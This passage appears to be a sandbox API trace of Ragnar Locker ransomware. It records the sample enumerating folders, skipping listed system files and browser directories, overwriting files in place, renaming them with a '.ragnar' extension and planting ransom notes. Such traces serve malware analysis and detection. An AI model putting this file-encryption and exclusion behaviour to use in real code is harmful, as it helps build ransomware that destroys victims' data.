ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0048.199] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0048.199] lstrcpyW (in: lpString1=0x1eb638, lpString2="MTEXTRA.TTF" | out: lpString1="MTEXTRA.TTF") returned="MTEXTRA.TTF" [0048.199] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned=".TTF" [0048.199] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0048.199] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="autorun.inf") returned 1 [0048.199] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="boot.ini") returned 1 [0048.199] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="bootfont.bin") returned 1 [0048.199] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="bootsect.bak") returned 1 [0048.199] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="bootmgr") returned 1 [0048.199] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="bootmgr.efi") returned 1 [0048.199] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="bootmgfw.efi") returned 1 [0048.199] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="desktop.ini") returned 1 [0048.199] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="iconcache.db") returned 1 [0048.200] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="ntldr") returned -1 [0048.200] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="ntuser.dat") returned -1 [0048.200] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="ntuser.dat.log") returned -1 [0048.200] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="ntuser.ini") returned -1 [0048.200] lstrcmpiW (lpString1="MTEXTRA.TTF", lpString2="thumbs.db") returned -1 [0048.200] lstrcmpiW (lpString1=".TTF", lpString2=".db") returned 1 [0048.200] lstrcmpiW (lpString1=".TTF", lpString2=".sys") returned 1 [0048.200] lstrcmpiW (lpString1=".TTF", lpString2=".dll") returned 1 [0048.200] lstrcmpiW (lpString1=".TTF", lpString2=".lnk") returned 1 [0048.200] lstrcmpiW (lpString1=".TTF", lpString2=".msi") returned 1 [0048.200] lstrcmpiW (lpString1=".TTF", lpString2=".drv") returned 1 [0048.200] lstrcmpiW (lpString1=".TTF", lpString2=".exe") returned 1 [0048.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0048.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0048.200] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7656) returned 1 [0048.200] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x1ddf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.200] GetProcessHeap () returned 0x580000 [0048.200] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0048.200] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0048.213] VirtualAlloc (lpAddress=0x0, dwSize=0x1de8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0048.213] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.213] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0048.213] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1de8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1de8, lpOverlapped=0x0) returned 1 [0048.237] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0048.237] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1de8, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.237] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1de8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1de8, lpOverlapped=0x0) returned 1 [0049.473] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1de8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0049.474] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0049.474] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x1de8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0049.474] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0049.474] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0049.502] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0049.502] WriteFile (in: hFile=0x108, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0049.502] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0049.502] GetProcessHeap () returned 0x580000 [0049.502] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0049.502] CloseHandle (hObject=0x108) returned 1 [0049.503] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" [0049.503] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.ragnar_FD7BD9FC" [0049.503] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0049.504] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed5c260, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0049.504] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0049.504] lstrcpyW (in: lpString1=0x1eb638, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0049.504] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\RGNR_FD7BD9FC.txt") returned=".txt" [0049.504] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0049.504] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed5c260, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0049.504] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0049.504] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0049.504] lstrcmpiW (lpString1="EURO", lpString2=".") returned 1 [0049.504] lstrcmpiW (lpString1="EURO", lpString2="..") returned 1 [0049.504] lstrcmpiW (lpString1="EURO", lpString2="Windows") returned -1 [0049.504] lstrcmpiW (lpString1="EURO", lpString2="Windows.old") returned -1 [0049.504] lstrcmpiW (lpString1="EURO", lpString2="Tor browser") returned -1 [0049.504] lstrcmpiW (lpString1="EURO", lpString2="Internet Explorer") returned -1 [0049.504] lstrcmpiW (lpString1="EURO", lpString2="Google") returned -1 [0049.504] lstrcmpiW (lpString1="EURO", lpString2="Opera") returned -1 [0049.504] lstrcmpiW (lpString1="EURO", lpString2="Opera Software") returned -1 [0049.504] lstrcmpiW (lpString1="EURO", lpString2="Mozilla") returned -1 [0049.505] lstrcmpiW (lpString1="EURO", lpString2="Mozilla Firefox") returned -1 [0049.505] lstrcmpiW (lpString1="EURO", lpString2="$Recycle.Bin") returned 1 [0049.505] lstrcmpiW (lpString1="EURO", lpString2="ProgramData") returned -1 [0049.505] lstrcmpiW (lpString1="EURO", lpString2="All Users") returned 1 [0049.505] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0049.505] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="EURO" | out: lpString1="EURO") returned="EURO" [0049.505] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\" [0049.505] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\" [0049.505] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\RGNR_FD7BD9FC.txt" [0049.505] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0049.540] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*" [0049.540] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0049.540] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0049.540] lstrcpyW (in: lpString1=0x1eb21c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0049.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0049.540] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0049.540] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.540] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0049.541] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0049.541] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2=".") returned 1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="..") returned 1 [0049.541] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc62d40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0049.541] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0049.541] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0049.541] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc62d40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0049.541] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0049.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0049.541] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.541] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0049.541] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0049.541] lstrcpyW (in: lpString1=0x1eb630, lpString2="MSOEURO.DLL" | out: lpString1="MSOEURO.DLL") returned="MSOEURO.DLL" [0049.541] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned=".DLL" [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="autorun.inf") returned 1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="boot.ini") returned 1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="bootfont.bin") returned 1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="bootsect.bak") returned 1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="bootmgr") returned 1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="bootmgr.efi") returned 1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="bootmgfw.efi") returned 1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="desktop.ini") returned 1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="iconcache.db") returned 1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="ntldr") returned -1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="ntuser.dat") returned -1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="ntuser.dat.log") returned -1 [0049.541] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="ntuser.ini") returned -1 [0049.542] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="thumbs.db") returned -1 [0049.542] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0049.542] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0049.542] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0049.542] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc62d40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0049.542] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3b [0049.542] lstrcpyW (in: lpString1=0x1eb630, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0049.542] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\RGNR_FD7BD9FC.txt") returned=".txt" [0049.542] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0049.542] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc62d40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0049.542] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0049.542] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2=".") returned 1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2="..") returned 1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2="Windows") returned -1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2="Windows.old") returned -1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2="Tor browser") returned -1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2="Internet Explorer") returned -1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2="Google") returned -1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2="Opera") returned -1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2="Opera Software") returned -1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2="Mozilla") returned -1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2="Mozilla Firefox") returned -1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2="$Recycle.Bin") returned 1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2="ProgramData") returned -1 [0049.542] lstrcmpiW (lpString1="Filters", lpString2="All Users") returned 1 [0049.542] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0049.542] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="Filters" | out: lpString1="Filters") returned="Filters" [0049.542] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" [0049.542] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\" [0049.542] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common 